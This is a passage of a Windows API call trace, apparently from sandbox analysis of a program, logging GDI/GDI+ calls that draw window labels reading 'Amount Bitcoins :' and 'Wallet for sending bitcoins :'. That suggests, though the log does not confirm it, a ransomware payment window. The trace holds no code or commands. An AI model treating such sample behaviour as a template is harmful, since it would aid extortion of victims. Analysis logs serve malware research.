[0285.693] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.695] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x14, wParam=0x2010b40, lParam=0x0) returned 0x1
[0285.695] SetTextColor (hdc=0x2010b40, color=0x0) returned 0x0
[0285.695] SetBkColor (hdc=0x2010b40, color=0xffffff) returned 0xffffff
[0285.695] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x2027a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.696] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x40298, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.696] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.696] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x202a2, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.697] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20294, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.697] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20296, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.697] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20290, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.697] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20292, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.698] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.698] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.698] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x20288, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.698] CallWindowProcW (lpPrevWndFunc=0x7fefc5861b4, hWnd=0x2028a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.699] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.699] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20286, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.699] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1
[0285.699] SetTextColor (hdc=0x2010a5c, color=0xffffff) returned 0x0
[0285.700] SetBkColor (hdc=0x2010a5c, color=0x80) returned 0xffffff
[0285.700] GetWindowTextLengthW (hWnd=0x20284) returned 17
[0285.700] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11
[0285.700] GetSystemMetrics (nIndex=42) returned 0
[0285.700] GetWindowTextW (in: hWnd=0x20284, lpString=0x2ed900, nMaxCount=18 | out: lpString="Amount Bitcoins :") returned 17
[0285.700] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xd, wParam=0x12, lParam=0x2ed900) returned 0x11
[0285.700] GetClientRect (in: hWnd=0x20284, lpRect=0x2edac8 | out: lpRect=0x2edac8) returned 1
[0285.700] GetCurrentObject (hdc=0xf010b4c, type=0x1) returned 0x1b00017
[0285.701] GetCurrentObject (hdc=0xf010b4c, type=0x2) returned 0x1900010
[0285.701] GetCurrentObject (hdc=0xf010b4c, type=0x7) returned 0x6050b85
[0285.701] GetCurrentObject (hdc=0xf010b4c, type=0x6) returned 0x18a002e
[0285.701] SaveDC (hdc=0xf010b4c) returned 1
[0285.701] GetNearestColor (hdc=0xf010b4c, color=0x80) returned 0x80
[0285.701] CreateSolidBrush (color=0x80) returned 0x12100a95
[0285.702] FillRect (hDC=0xf010b4c, lprc=0x2ed7b8, hbr=0x12100a95) returned 1
[0285.702] DeleteObject (ho=0x12100a95) returned 1
[0285.702] RestoreDC (hdc=0xf010b4c, nSavedDC=-1) returned 1
[0285.702] GetWindowTextLengthW (hWnd=0x20284) returned 17
[0285.702] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x11
[0285.702] GetSystemMetrics (nIndex=42) returned 0
[0285.702] GetWindowTextW (in: hWnd=0x20284, lpString=0x2ed900, nMaxCount=18 | out: lpString="Amount Bitcoins :") returned 17
[0285.702] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20284, Msg=0xd, wParam=0x12, lParam=0x2ed900) returned 0x11
[0285.702] IsAppThemed () returned 0x1
[0285.702] GetThemeAppProperties () returned 0x3
[0285.702] GetThemeAppProperties () returned 0x3
[0285.702] SelectPalette (hdc=0xf010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0285.703] GdipCreateFromHDC (hdc=0xf010b4c, graphics=0x2ed9a8) returned 0x0
[0285.703] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0285.703] GdipCreateMatrix (matrix=0x2ed8a0) returned 0x0
[0285.703] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.703] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed908) returned 0x0
[0285.703] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.704] GdipCreateRegion (region=0x2ed8a0) returned 0x0
[0285.704] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.704] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed900) returned 0x0
[0285.704] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.704] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ed9a0) returned 0x0
[0285.710] IsAppThemed () returned 0x1
[0285.710] GetThemeAppProperties () returned 0x3
[0285.710] GetThemeAppProperties () returned 0x3
[0285.710] IsAppThemed () returned 0x1
[0285.710] GetThemeAppProperties () returned 0x3
[0285.710] GetThemeAppProperties () returned 0x3
[0285.710] IsThemePartDefined () returned 0x1
[0285.710] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed798) returned 0x0
[0285.710] GdipCreateRegion (region=0x2ed610) returned 0x0
[0285.711] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.711] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0285.711] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.711] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0285.711] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.711] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.711] LocalFree (hMem=0x1de51510) returned 0x0
[0285.712] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.712] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0285.712] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.712] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0285.712] GetCurrentObject (hdc=0xf010b4c, type=0x1) returned 0x1b00017
[0285.712] GetCurrentObject (hdc=0xf010b4c, type=0x2) returned 0x1900010
[0285.712] GetCurrentObject (hdc=0xf010b4c, type=0x7) returned 0x6050b85
[0285.713] GetCurrentObject (hdc=0xf010b4c, type=0x6) returned 0x18a002e
[0285.713] SaveDC (hdc=0xf010b4c) returned 1
[0285.713] OffsetViewportOrgEx (in: hdc=0xf010b4c, x=0, y=0, lppt=0x273f128 | out: lppt=0x273f128) returned 1
[0285.713] GetCurrentObject (hdc=0xf010b4c, type=0x6) returned 0x18a002e
[0285.713] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed4e0 | out: pv=0x2ed4e0) returned 92
[0285.714] SelectObject (hdc=0xf010b4c, h=0x50a0b98) returned 0x18a002e
[0285.714] DrawTextExW (in: hdc=0xf010b4c, lpchText="Amount Bitcoins :", cchText=17, lprc=0x2ed798, format=0x102410, lpdtp=0x273f140 | out: lpchText="Amount Bitcoins :", lprc=0x2ed798) returned 14
[0285.714] RestoreDC (hdc=0xf010b4c, nSavedDC=-1) returned 1
[0285.714] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xf010b4c) returned 0x0
[0285.714] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed768) returned 0x0
[0285.715] GdipCreateRegion (region=0x2ed5e0) returned 0x0
[0285.715] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.715] GdipCreateMatrix (matrix=0x2ed5e0) returned 0x0
[0285.715] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.715] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed648) returned 0x0
[0285.715] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.715] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0285.716] LocalFree (hMem=0x1de51510) returned 0x0
[0285.716] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.716] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6b0) returned 0x0
[0285.716] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.716] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6b8) returned 0x0
[0285.716] GetCurrentObject (hdc=0xf010b4c, type=0x1) returned 0x1b00017
[0285.717] GetCurrentObject (hdc=0xf010b4c, type=0x2) returned 0x1900010
[0285.717] GetCurrentObject (hdc=0xf010b4c, type=0x7) returned 0x6050b85
[0285.717] GetCurrentObject (hdc=0xf010b4c, type=0x6) returned 0x18a002e
[0285.717] SaveDC (hdc=0xf010b4c) returned 1
[0285.717] OffsetViewportOrgEx (in: hdc=0xf010b4c, x=0, y=0, lppt=0x273f540 | out: lppt=0x273f540) returned 1
[0285.717] GetTextAlign (hdc=0xf010b4c) returned 0x0
[0285.717] GetTextColor (hdc=0xf010b4c) returned 0x0
[0285.718] SetTextColor (hdc=0xf010b4c, color=0xffff) returned 0x0
[0285.718] GetCurrentObject (hdc=0xf010b4c, type=0x6) returned 0x18a002e
[0285.718] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed280 | out: pv=0x2ed280) returned 92
[0285.718] SelectObject (hdc=0xf010b4c, h=0x50a0b98) returned 0x18a002e
[0285.718] GetBkMode (hdc=0xf010b4c) returned 2
[0285.718] SetBkMode (hdc=0xf010b4c, mode=1) returned 2
[0285.719] DrawTextExW (in: hdc=0xf010b4c, lpchText="Amount Bitcoins :", cchText=17, lprc=0x2ed6d8, format=0x102010, lpdtp=0x273f740 | out: lpchText="Amount Bitcoins :", lprc=0x2ed6d8) returned 14
[0285.719] RestoreDC (hdc=0xf010b4c, nSavedDC=-1) returned 1
[0285.719] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xf010b4c) returned 0x0
[0285.719] GetDC (hWnd=0x0) returned 0x1010a48
[0285.743] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ed788) returned 0x0
[0285.744] GdipGetFontHeight (font=0x1c5af190, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0285.744] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0285.744] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0285.744] GetDC (hWnd=0x0) returned 0x1010a48
[0285.745] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ed788) returned 0x0
[0285.745] GdipGetFontHeight (font=0x1c5af190, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0285.745] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0285.745] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0285.746] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.746] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.746] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.746] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.746] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0285.747] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.747] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.747] LocalFree (hMem=0x1de51510) returned 0x0
[0285.747] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.747] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.747] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.748] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.748] GetCurrentObject (hdc=0xf010b4c, type=0x1) returned 0x1b00017
[0285.748] GetCurrentObject (hdc=0xf010b4c, type=0x2) returned 0x1900010
[0285.748] GetCurrentObject (hdc=0xf010b4c, type=0x7) returned 0x6050b85
[0285.748] GetCurrentObject (hdc=0xf010b4c, type=0x6) returned 0x18a002e
[0285.749] SaveDC (hdc=0xf010b4c) returned 1
[0285.749] OffsetViewportOrgEx (in: hdc=0xf010b4c, x=0, y=0, lppt=0x273fb28 | out: lppt=0x273fb28) returned 1
[0285.749] IsAppThemed () returned 0x1
[0285.749] GetThemeAppProperties () returned 0x3
[0285.749] GetThemeAppProperties () returned 0x3
[0285.749] DrawThemeBackground () returned 0x0
[0285.749] RestoreDC (hdc=0xf010b4c, nSavedDC=-1) returned 1
[0285.749] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xf010b4c) returned 0x0
[0285.750] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.750] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.750] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.750] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.750] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed638) returned 0x0
[0285.750] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.750] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0285.751] LocalFree (hMem=0x1de51510) returned 0x0
[0285.751] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.751] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.751] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.751] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.751] GetCurrentObject (hdc=0xf010b4c, type=0x1) returned 0x1b00017
[0285.752] GetCurrentObject (hdc=0xf010b4c, type=0x2) returned 0x1900010
[0285.752] GetCurrentObject (hdc=0xf010b4c, type=0x7) returned 0x6050b85
[0285.752] GetCurrentObject (hdc=0xf010b4c, type=0x6) returned 0x18a002e
[0285.752] SaveDC (hdc=0xf010b4c) returned 1
[0285.752] OffsetViewportOrgEx (in: hdc=0xf010b4c, x=0, y=0, lppt=0x273ff80 | out: lppt=0x273ff80) returned 1
[0285.752] IsAppThemed () returned 0x1
[0285.753] GetThemeAppProperties () returned 0x3
[0285.753] GetThemeAppProperties () returned 0x3
[0285.753] DrawThemeBackground () returned 0x0
[0285.753] RestoreDC (hdc=0xf010b4c, nSavedDC=-1) returned 1
[0285.753] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xf010b4c) returned 0x0
[0285.753] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.753] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.753] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.754] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.754] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0285.754] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.754] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.754] LocalFree (hMem=0x1de51510) returned 0x0
[0285.754] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.755] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.755] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.755] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6a8) returned 0x0
[0285.755] GetCurrentObject (hdc=0xf010b4c, type=0x1) returned 0x1b00017
[0285.755] GetCurrentObject (hdc=0xf010b4c, type=0x2) returned 0x1900010
[0285.755] GetCurrentObject (hdc=0xf010b4c, type=0x7) returned 0x6050b85
[0285.756] GetCurrentObject (hdc=0xf010b4c, type=0x6) returned 0x18a002e
[0285.756] SaveDC (hdc=0xf010b4c) returned 1
[0285.756] OffsetViewportOrgEx (in: hdc=0xf010b4c, x=0, y=0, lppt=0x27403d8 | out: lppt=0x27403d8) returned 1
[0285.756] IsAppThemed () returned 0x1
[0285.756] GetThemeAppProperties () returned 0x3
[0285.756] GetThemeAppProperties () returned 0x3
[0285.756] DrawThemeBackground () returned 0x0
[0285.756] RestoreDC (hdc=0xf010b4c, nSavedDC=-1) returned 1
[0285.757] GdipReleaseDC (graphics=0x1c5a8050, hdc=0xf010b4c) returned 0x0
[0285.757] GdipDeleteGraphics (graphics=0x1c5a8050) returned 0x0
[0285.757] SelectPalette (hdc=0xf010b4c, hPal=0x188000b, bForceBkgd=0) returned 0x3080b87
[0285.758] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x20280, Msg=0x14, wParam=0x2010a5c, lParam=0x0) returned 0x1
[0285.758] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.758] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0
[0285.758] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x2029a, Msg=0x14, wParam=0x1010a48, lParam=0x0) returned 0x1
[0285.759] CallWindowProcW (lpPrevWndFunc=0x7fefc58975c, hWnd=0x2029c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x1
[0285.759] SetTextColor (hdc=0x2010b40, color=0xffffff) returned 0x0
[0285.759] SetBkColor (hdc=0x2010b40, color=0x80) returned 0xffffff
[0285.759] GetWindowTextLengthW (hWnd=0x20282) returned 29
[0285.759] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1d
[0285.759] GetSystemMetrics (nIndex=42) returned 0
[0285.759] GetWindowTextW (in: hWnd=0x20282, lpString=0x2ed8f0, nMaxCount=30 | out: lpString="Wallet for sending bitcoins :") returned 29
[0285.759] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xd, wParam=0x1e, lParam=0x2ed8f0) returned 0x1d
[0285.760] GetClientRect (in: hWnd=0x20282, lpRect=0x2edac8 | out: lpRect=0x2edac8) returned 1
[0285.760] GetCurrentObject (hdc=0x10010b4c, type=0x1) returned 0x1b00017
[0285.760] GetCurrentObject (hdc=0x10010b4c, type=0x2) returned 0x1900010
[0285.760] GetCurrentObject (hdc=0x10010b4c, type=0x7) returned 0x6050b85
[0285.760] GetCurrentObject (hdc=0x10010b4c, type=0x6) returned 0x18a002e
[0285.761] SaveDC (hdc=0x10010b4c) returned 1
[0285.761] GetNearestColor (hdc=0x10010b4c, color=0x80) returned 0x80
[0285.761] CreateSolidBrush (color=0x80) returned 0x13100a95
[0285.761] FillRect (hDC=0x10010b4c, lprc=0x2ed7b8, hbr=0x13100a95) returned 1
[0285.761] DeleteObject (ho=0x13100a95) returned 1
[0285.761] RestoreDC (hdc=0x10010b4c, nSavedDC=-1) returned 1
[0285.762] GetWindowTextLengthW (hWnd=0x20282) returned 29
[0285.762] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x1d
[0285.762] GetSystemMetrics (nIndex=42) returned 0
[0285.762] GetWindowTextW (in: hWnd=0x20282, lpString=0x2ed8f0, nMaxCount=30 | out: lpString="Wallet for sending bitcoins :") returned 29
[0285.762] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x20282, Msg=0xd, wParam=0x1e, lParam=0x2ed8f0) returned 0x1d
[0285.762] IsAppThemed () returned 0x1
[0285.762] GetThemeAppProperties () returned 0x3
[0285.762] GetThemeAppProperties () returned 0x3
[0285.762] SelectPalette (hdc=0x10010b4c, hPal=0x3080b87, bForceBkgd=1) returned 0x188000b
[0285.762] GdipCreateFromHDC (hdc=0x10010b4c, graphics=0x2ed9a8) returned 0x0
[0285.763] GdipSetPageUnit (graphics=0x1c5a8050, unit=0x2) returned 0x0
[0285.763] GdipCreateMatrix (matrix=0x2ed8a0) returned 0x0
[0285.763] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.763] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed908) returned 0x0
[0285.763] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.764] GdipCreateRegion (region=0x2ed8a0) returned 0x0
[0285.764] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.764] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed900) returned 0x0
[0285.764] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.764] GdipSaveGraphics (graphics=0x1c5a8050, state=0x2ed9a0) returned 0x0
[0285.764] IsAppThemed () returned 0x1
[0285.764] GetThemeAppProperties () returned 0x3
[0285.764] GetThemeAppProperties () returned 0x3
[0285.764] IsAppThemed () returned 0x1
[0285.764] GetThemeAppProperties () returned 0x3
[0285.765] GetThemeAppProperties () returned 0x3
[0285.765] IsThemePartDefined () returned 0x1
[0285.765] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed798) returned 0x0
[0285.765] GdipCreateRegion (region=0x2ed610) returned 0x0
[0285.765] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.765] GdipCreateMatrix (matrix=0x2ed610) returned 0x0
[0285.765] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.765] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed678) returned 0x0
[0285.766] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.766] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.766] LocalFree (hMem=0x1de51510) returned 0x0
[0285.766] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.766] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6e0) returned 0x0
[0285.766] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.766] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6e8) returned 0x0
[0285.766] GetCurrentObject (hdc=0x10010b4c, type=0x1) returned 0x1b00017
[0285.767] GetCurrentObject (hdc=0x10010b4c, type=0x2) returned 0x1900010
[0285.767] GetCurrentObject (hdc=0x10010b4c, type=0x7) returned 0x6050b85
[0285.767] GetCurrentObject (hdc=0x10010b4c, type=0x6) returned 0x18a002e
[0285.767] SaveDC (hdc=0x10010b4c) returned 1
[0285.767] OffsetViewportOrgEx (in: hdc=0x10010b4c, x=0, y=0, lppt=0x27411c8 | out: lppt=0x27411c8) returned 1
[0285.767] GetCurrentObject (hdc=0x10010b4c, type=0x6) returned 0x18a002e
[0285.767] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed4e0 | out: pv=0x2ed4e0) returned 92
[0285.768] SelectObject (hdc=0x10010b4c, h=0x50a0b98) returned 0x18a002e
[0285.768] DrawTextExW (in: hdc=0x10010b4c, lpchText="Wallet for sending bitcoins :", cchText=29, lprc=0x2ed798, format=0x102410, lpdtp=0x27411e0 | out: lpchText="Wallet for sending bitcoins :", lprc=0x2ed798) returned 14
[0285.768] RestoreDC (hdc=0x10010b4c, nSavedDC=-1) returned 1
[0285.768] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x10010b4c) returned 0x0
[0285.769] GdipGetTextRenderingHint (graphics=0x1c5a8050, mode=0x2ed768) returned 0x0
[0285.782] GdipCreateRegion (region=0x2ed5e0) returned 0x0
[0285.782] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.782] GdipCreateMatrix (matrix=0x2ed5e0) returned 0x0
[0285.782] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af510) returned 0x0
[0285.782] GdipIsMatrixIdentity (matrix=0x1c5af510, result=0x2ed648) returned 0x0
[0285.782] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.782] GdipGetMatrixElements (matrix=0x1c5af510, matrixOut=0x1de51510) returned 0x0
[0285.782] LocalFree (hMem=0x1de51510) returned 0x0
[0285.783] GdipDeleteMatrix (matrix=0x1c5af510) returned 0x0
[0285.783] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6b0) returned 0x0
[0285.783] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
[0285.783] GdipGetDC (graphics=0x1c5a8050, hdc=0x2ed6b8) returned 0x0
[0285.783] GetCurrentObject (hdc=0x10010b4c, type=0x1) returned 0x1b00017
[0285.783] GetCurrentObject (hdc=0x10010b4c, type=0x2) returned 0x1900010
[0285.783] GetCurrentObject (hdc=0x10010b4c, type=0x7) returned 0x6050b85
[0285.784] GetCurrentObject (hdc=0x10010b4c, type=0x6) returned 0x18a002e
[0285.784] SaveDC (hdc=0x10010b4c) returned 1
[0285.784] OffsetViewportOrgEx (in: hdc=0x10010b4c, x=0, y=0, lppt=0x27415e0 | out: lppt=0x27415e0) returned 1
[0285.784] GetTextAlign (hdc=0x10010b4c) returned 0x0
[0285.784] GetTextColor (hdc=0x10010b4c) returned 0x0
[0285.784] SetTextColor (hdc=0x10010b4c, color=0xffff) returned 0x0
[0285.785] GetCurrentObject (hdc=0x10010b4c, type=0x6) returned 0x18a002e
[0285.785] GetObjectW (in: h=0x18a002e, c=92, pv=0x2ed280 | out: pv=0x2ed280) returned 92
[0285.785] SelectObject (hdc=0x10010b4c, h=0x50a0b98) returned 0x18a002e
[0285.785] GetBkMode (hdc=0x10010b4c) returned 2
[0285.785] SetBkMode (hdc=0x10010b4c, mode=1) returned 2
[0285.785] DrawTextExW (in: hdc=0x10010b4c, lpchText="Wallet for sending bitcoins :", cchText=29, lprc=0x2ed6d8, format=0x102010, lpdtp=0x27417e0 | out: lpchText="Wallet for sending bitcoins :", lprc=0x2ed6d8) returned 14
[0285.786] RestoreDC (hdc=0x10010b4c, nSavedDC=-1) returned 1
[0285.786] GdipReleaseDC (graphics=0x1c5a8050, hdc=0x10010b4c) returned 0x0
[0285.786] GetDC (hWnd=0x0) returned 0x1010a48
[0285.786] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ed788) returned 0x0
[0285.787] GdipGetFontHeight (font=0x1c5af010, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0285.787] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0285.787] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0285.787] GetDC (hWnd=0x0) returned 0x1010a48
[0285.787] GdipCreateFromHDC (hdc=0x1010a48, graphics=0x2ed788) returned 0x0
[0285.787] GdipGetFontHeight (font=0x1c5af010, graphics=0x1cb7c2b0, height=0x2ed784) returned 0x0
[0285.787] GdipDeleteGraphics (graphics=0x1cb7c2b0) returned 0x0
[0285.788] ReleaseDC (hWnd=0x0, hDC=0x1010a48) returned 1
[0285.788] GdipCreateRegion (region=0x2ed5d0) returned 0x0
[0285.788] GdipGetClip (graphics=0x1c5a8050, region=0x1c5a8420) returned 0x0
[0285.788] GdipCreateMatrix (matrix=0x2ed5d0) returned 0x0
[0285.788] GdipGetWorldTransform (graphics=0x1c5a8050, matrix=0x1c5af550) returned 0x0
[0285.788] GdipIsMatrixIdentity (matrix=0x1c5af550, result=0x2ed638) returned 0x0
[0285.788] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1de51510
[0285.788] GdipGetMatrixElements (matrix=0x1c5af550, matrixOut=0x1de51510) returned 0x0
[0285.789] LocalFree (hMem=0x1de51510) returned 0x0
[0285.789] GdipDeleteMatrix (matrix=0x1c5af550) returned 0x0
[0285.789] GdipIsInfiniteRegion (region=0x1c5a8420, graphics=0x1c5a8050, result=0x2ed6a0) returned 0x0
[0285.789] GdipDeleteRegion (region=0x1c5a8420) returned 0x0
